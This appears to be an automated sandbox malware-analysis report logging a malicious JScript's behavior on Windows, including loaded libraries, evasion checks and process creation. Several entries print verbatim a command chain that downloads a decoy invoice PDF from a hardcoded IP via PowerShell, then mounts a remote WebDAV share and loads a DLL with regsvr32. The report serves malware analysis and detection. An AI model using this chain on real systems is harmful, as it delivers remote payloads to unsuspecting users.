Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2118.js.csv");ITextStream.WriteLine(" entry:8994 f:ejuafm");ITextStream.WriteLine(" exec:2 f:ejuafm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5930			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3946			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828	Thread sleep count: 5930 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828	Thread sleep count: 3946 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7920	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8108	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4296	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000003.1858496952.0000022A098E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM
Source: net.exe, 00000006.00000003.1858496952.0000022A098E7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3088312553.000002556B62B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3089919457.0000025570C54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1861686829.0000022A09888000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll	Jump to behavior
